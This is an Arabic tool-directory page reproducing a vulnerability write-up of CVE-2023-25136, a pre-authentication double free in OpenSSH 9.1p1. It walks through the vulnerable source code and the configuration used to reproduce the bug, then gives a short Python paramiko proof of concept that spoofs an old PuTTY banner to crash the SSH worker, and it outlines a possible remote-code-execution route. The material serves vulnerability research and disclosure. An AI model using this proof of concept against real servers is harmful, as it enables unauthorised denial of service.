Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-25136 — ثغرة تحرير مزدوج قبل المصادقة في OpenSSH CVE-2023-25136 – تقرير وإثبات المفهوم | Kitploit
أدوات/GitHubGitHub/malvika-thakur/cve-2023-25136
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubmalvika-thakur/cve-2023-25136

CVE-2023-25136

ثغرة تحرير مزدوج قبل المصادقة في OpenSSH CVE-2023-25136 – تقرير وإثبات المفهوم

عرض المستودع
34منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

OpenSSH (CVE-2023-25136) التحرير المزدوج قبل المصادقة – شرح وإثبات المفهوم

ما هو OpenSSH؟

OpenSSH هي أداة شائعة الاستخدام للاتصال الآمن والوصول عن بُعد. طُوِّرت كتطبيق مجاني ومفتوح المصدر لبروتوكول الاتصالات Secure Shell (SSH)، وتُستخدم على نطاق واسع في تطبيقات متنوعة.

يوفر OpenSSH اتصالاً آمنًا ومشفرًا بين مضيفين غير موثوقين عبر شبكة غير آمنة، مما يجعله أداة أساسية للوصول عن بُعد والنقل الآمن للملفات.

مع تزايد استخدام الحوسبة السحابية والوصول عن بُعد إلى الخوادم، أصبح OpenSSH أداة حاسمة لمسؤولي الأنظمة والمطورين الذين يحتاجون إلى الوصول إلى الأنظمة البعيدة وإدارتها بشكل آمن.

يدعم OpenSSH أيضًا مجموعة واسعة من المنصات بما في ذلك Linux وmacOS وWindows، مما يجعله أداة معتمدة على نطاق واسع عبر أنظمة التشغيل المختلفة. وبفضل سهولة استخدامه وميزات الأمان القوية، أصبح OpenSSH أداة قياسية في الصناعة للوصول الآمن عن بُعد.

خلفية الثغرة

في 2 فبراير 2023، أصدر OpenSSH الإصدار 9.2p1 مع هذه النشرة الأمنية. اتضح على الفور أن هذا الإصدار مثير للاهتمام بسبب ثغرة التحرير المزدوج قبل المصادقة. وعند البحث في مستودع OpenSSH على GitHub، هذا هو الالتزام (commit) الخاص بالإصلاح.

تشير رسالة الالتزام إلى bz3522، وهو ما يعود إلى مشكلة Bugzilla التي أبلغ عنها المستخدم Mantas Mikulėnas.

في تقريره، أشار Mantas إلى استخدامه إصدار PuTTY القديم 0.64، وأرفق أيضًا تتبعًا خلفيًا (back-trace) للانهيار الناتج عن التحرير المزدوج.

خطوات البحث

للتعمق أكثر، أعددنا بيئة تحتوي على OpenSSH 9.1p1 الثُغري، وجلبنا نسخة من إصدار PuTTY القديم 0.64، الذي صدر قبل 8 سنوات في 28 فبراير 2015.

بعد محاولة الاتصال بخادم OpenSSH الثُغري باستخدام PuTTY 0.64، ظهر الخطأ التالي:

1_PuTTY-0 64-Fatal-Error

نظرًا لأن خوارزميات تبادل المفاتيح الخاصة بالعميل القديم غير مدعومة بواسطة إصدار OpenSSH الجديد، عدّلنا ملف sshd_config بإضافة السطر التالي إلى /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1

بعد إعادة تشغيل خادم SSH والمحاولة مرة أخرى، ظهر الخطأ التالي:

2_PuTTY-Fatal-Error

بعد إضافة سطر إعداد آخر إلى sshd_config، تمكنا من الاتصال بخادم OpenSSH الثُغري وإعادة إنتاج الانهيار:

HostKeyAlgorithms +ssh-rsa

عند تشغيل الخادم في وضع التصحيح (باستخدام الوسم -ddd)، ظهرت رسالة التصحيح التالية:

ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]

رقم استدعاء النظام 20 هو writev()، وهو ما يطابق تقرير Bugzilla.

لاحظ أن تغييرات الإعداد التي أجريناها كانت فقط لإعادة إنتاج الثغرة عبر PuTTY، وليست مطلوبة لاستغلالها. كما سنرى في إثبات المفهوم، فإن الإعداد الافتراضي ثُغري.

تفاصيل الثغرة المتعمقة

بدأنا بفحص التزام الإصلاح الذي ينص على أن compat_kex_proposal() هي المسؤولة عن التحرير المزدوج. عندما يكون خيار توافق الاتصال SSH_OLD_DHGEX مفعّلاً عند [1]، تُسنَد الوسيطة الثانية p إلى cp عند [2]، ثم تُحرَّر لاحقًا عند [3].

root@kitploit:~
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
    char *cp = NULL;


    if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
        return xstrdup(p);
    debug2_f("original KEX proposal: %s", p);
    if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
        if ((p = match_filter_denylist(p,
            "[email protected]")) == NULL)
            fatal("match_filter_denylist failed");
    if ((ssh->compat & SSH_OLD_DHGEX) != 0) {               [1]
        cp = p;                                             [2]
        if ((p = match_filter_denylist(p,
            "diffie-hellman-group-exchange-sha256,"
            "diffie-hellman-group-exchange-sha1")) == NULL)
            fatal("match_filter_denylist failed");
        free(cp);                                           [3]
    }
    debug2_f("compat KEX proposal: %s", p);
    if (*p == '\0')
        fatal("No supported key exchange algorithms found");
    return p;
}

يقع استدعاء compat_kex_proposal() داخل دالة do_ssh2_kex():

root@kitploit:~
    myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
        options.kex_algorithms);

إن cp=p المُحرَّر داخل compat_kex_proposal() يشير إلى الوسيطة options.kex_algorithms.

عند البحث عن kex_algorithms في الكود المصدري، صادفنا assemble_algorithms الذي ورد في الانهيار داخل تقرير Bugzilla:

root@kitploit:~
ASSEMBLE(kex_algorithms, def_kex, all_kex);

ASSEMBLE هو ماكرو لاستدعاء دالة kex_assemble_names():

root@kitploit:~
#define ASSEMBLE(what, defaults, all) \
    do { \
        if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
            fatal_fr(r, "%s", #what); \
    } while (0)

تُستدعى دالة kex_assemble_names() مع عنوان o->kex_algorithms كوسيطة أولى (وهي listp). وهذا هو الموضع الذي يحدث فيه التحرير الثاني.

root@kitploit:~
int
kex_assemble_names(char **listp, const char *def, const char *all)

ونظرًا لأن مؤشر options.kex_algorithms حُرِّر وأصبح مؤشرًا معلقًا (dangling pointer)، فإنه يُحرَّر مرة أخرى مما يسبب تحريرًا مزدوجًا.

ولكن أين يتم تعيين خيار SSH_OLD_DHGEX؟

يتم ذلك داخل دالة compat_banner()، التي تحدد أعلام الأخطاء (bug flags) من لافتة بروتوكول SSH (banner). بنية (struct) باسم check[] تسرد جميع معرّفات عملاء SSH وأعلامهم. يوضح المقتطف التالي معرّفات العملاء التي يُسنَد إليها خيار SSH_OLD_DHGEX. ويمكننا أيضًا أن نرى أن WinSCP قد تكون قادرة على تحفيز هذا السلوك.

root@kitploit:~
        { "PuTTY_Local:*,"  /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
          "PuTTY_Release_0.5*," /* 0.58-0.59 */
          "PuTTY_Release_0.60*,"
          "PuTTY_Release_0.61*,"
          "PuTTY_Release_0.62*,"
          "PuTTY_Release_0.63*,"
          "PuTTY_Release_0.64*",
                    SSH_OLD_DHGEX },
        { "FuTTY*",     SSH_OLD_DHGEX }, /* Putty Fork */
        { "WinSCP_release_4*,"
          "WinSCP_release_5.0*,"
          "WinSCP_release_5.1,"
          "WinSCP_release_5.1.*,"
          "WinSCP_release_5.5,"
          "WinSCP_release_5.5.*,"
          "WinSCP_release_5.6,"
          "WinSCP_release_5.6.*,"
          "WinSCP_release_5.7,"
          "WinSCP_release_5.7.1,"
          "WinSCP_release_5.7.2,"
          "WinSCP_release_5.7.3,"
          "WinSCP_release_5.7.4",
                    SSH_OLD_DHGEX },

إثبات المفهوم

اخترنا إنشاء إثبات مفهوم (Proof-of-Concept) لحجب الخدمة بلغة Python نظرًا لمرونته وسهولة نقله. يُحفّز إثبات المفهوم التحرير المزدوج باستخدام حزمة paramiko ويتسبب في انهيار إجهاض العملية (abort).

paramiko هو تطبيق SSH واسع الانتشار بلغة Python، يوفر وظائف الخادم والعميل معًا. من أجل إثبات المفهوم، غيّرنا لافتة إصدار العميل المتصل لتعكس عميلًا قديمًا مثل PuTTY v0.64.

متاح في مستودعنا على GitHub.

root@kitploit:~
import paramiko


VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"


def main():
    transport = paramiko.Transport(VICTIM_IP)
    transport.local_version = f"SSH-2.0-{CLIENT_ID}"
    transport.connect(username='', password='')


if __name__ == "__main__":
    main()

إثبات المفهوم لتنفيذ التعليمات البرمجية عن بُعد (RCE)

يُخصّص الاستغلال بنية أخرى باسم EVP_AES_KEY بدلاً من options.kex_algorithms المُحرَّر. وبعد ذلك، تُحرَّر هذه البنية مرة أخرى عند حدوث التحرير المزدوج. ثم يستبدل محتوياتها بكتلة (chunk) أخرى باستخدام authctxt->user أو authctxt->style.

عندما تحاول EVP_Cipher() لاحقًا استخدام EVP_AES_KEY هذا، فستستخدم الكتلة التي استبدلته ببيانات يتحكم بها المهاجم.

تأثير الثغرة

يستمع البرنامج الخفي (Daemon) الخاص بـ OpenSSH إلى الاتصالات الواردة من العملاء، ويُطلق (fork) برنامجًا خفيًا جديدًا لكل اتصال وارد. وتتولى البرامج الخفية المُطلقة معالجة تبادل المفاتيح والتشفير والمصادقة وتنفيذ الأوامر وتبادل البيانات.

تمثل الثغرة تحريرًا مزدوجًا يمكن نظريًا استغلاله لحجب الخدمة، كما أوضحنا في إثبات المفهوم، وربما لتنفيذ تعليمات برمجية عن بُعد (RCE)، على الرغم من أن تطوير استغلال فعّال يُعتبر صعبًا بسبب الإجراءات الأمنية المطبقة مثل وضع العزل (sandbox) وآلية فصل الامتيازات (Privilege Separation). فيما يتعلق بحجب الخدمة، لاحظ أن البرامج الخفية المُطلقة فقط هي التي تنهار، بسبب انتهاك العزل (sandbox) أثناء محاولة استدعاء writev()، وهو ما يترك البرنامج الخفي الرئيسي للخادم حرًا في التعامل مع العملاء الجدد.

حصلت هذه الثغرة على تصنيف شدة مرتفع (High) للأسباب التالية:

  1. لا توجد متطلبات مسبقة. الإعداد الافتراضي ثُغري.

  2. عندما لا تُطبَّق وسائل تخفيف استغلال الذاكرة (مثل ASLR أو NX)، يكون تنفيذ التعليمات البرمجية عن بُعد ممكنًا، وفقًا لمنشور حديث.

  3. أما بالنسبة لهجوم حجب الخدمة، فإن انهيار عملية عاملة مُطلقة (forked worker) أقل خطورة بكثير من حجب خدمة يُسقط برنامجًا خفيًا مهمًا، لكن كلاهما سيحصلان على تصنيف CVSS "مرتفع" لتأثير التوفر (Availability).

  4. لاحظ أن OpenSSH وضع إجراءات أمنية مثل وضع العزل وآلية فصل الامتيازات، ولكن لا ينبغي لهذه الإجراءات أن تخفض من شدة هجوم RCE المحتمل.

الأهداف المتأثرة بالثغرة

تنطبق الثغرة فقط على OpenSSH الإصدار 9.1p1 بالإعداد الافتراضي، مما يعني عدم الحاجة إلى متطلبات مسبقة لاستغلالها.

تنزيل الأداة